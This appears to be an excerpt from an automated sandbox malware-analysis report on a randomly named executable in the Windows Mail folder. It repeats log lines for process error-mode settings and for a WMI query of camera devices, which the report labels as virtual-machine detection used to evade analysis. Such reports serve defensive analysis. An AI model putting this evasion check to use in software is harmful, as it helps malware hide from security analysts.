Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
